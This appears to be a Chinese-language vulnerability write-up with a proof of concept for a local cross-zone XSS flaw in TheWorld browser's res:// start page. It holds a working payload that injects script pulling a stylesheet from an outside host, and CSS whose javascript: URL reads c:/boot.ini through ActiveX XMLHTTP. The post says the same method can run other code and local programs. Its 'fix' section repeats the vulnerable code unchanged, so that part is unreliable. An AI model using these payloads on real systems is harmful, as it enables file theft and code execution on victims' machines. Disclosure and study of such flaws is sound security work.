--------------------------------------------------------------------------------------------
#主题描述#
世界之窗等浏览器本地xss跨域漏洞POC
--------------------------------------------------------------------------------------------
#内容#
|
世界之窗等浏览器本地xss跨域漏洞POC |
|
漏洞分析:世界之窗浏览器在起始页面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll /TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞,简单分析如下: <script language="JavaScript"> var nOldCount = 0; for( i = 0; i < g_nCountOld; i ++ ) { str_url = g_arr_argUrlOld[i]; str_name = g_arr_argNameOld[i]; str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’”+i+”‘);\”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”; document.write( str_td ); str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”; document.write( str_td ); nOldCount = i; g_bHasLastUrl = true; } </script> str_name和str_url不经过滤地直接输出,由于该页面处于本地安全区域,所以拥有很高的权限,可以做很多跨域操作,包括读取文件和运行本地程序。 漏洞修补: <script language="JavaScript"> var nOldCount = 0; for( i = 0; i < g_nCountOld; i ++ ) { str_url = g_arr_argUrlOld[i]; str_name = g_arr_argNameOld[i]; str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’”+i+”‘);\”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”; document.write( str_td ); str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”; document.write( str_td ); nOldCount = i; g_bHasLastUrl = true; } </script> 已经用js控制DOM显示了 漏洞演示:这里提供测试方法可以读取c:/boot.ini 1 打开如下地址: sc:h’><script>alert(document.write(unescape(”%3CLINK%20REL%3D%22stylesheet%22%20HREF%3D%22http%3A%2f%2fwww.80sec.com/1.css%22%3E”)))</script> 2 上面将导致一个不可访问的页面,然后直接关闭tw浏览器( 没有好的办法crash,死循环? :) ) 3 重新打开tw浏览器,可以发http://www.80sec.com/1.css中的内容被解析,并且有本地域的权限。 1.css内容,换成其他js代码一样执行 body { background-image: url(''javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);'') } 其他浏览器如极速浏览器也可能存在问题:) |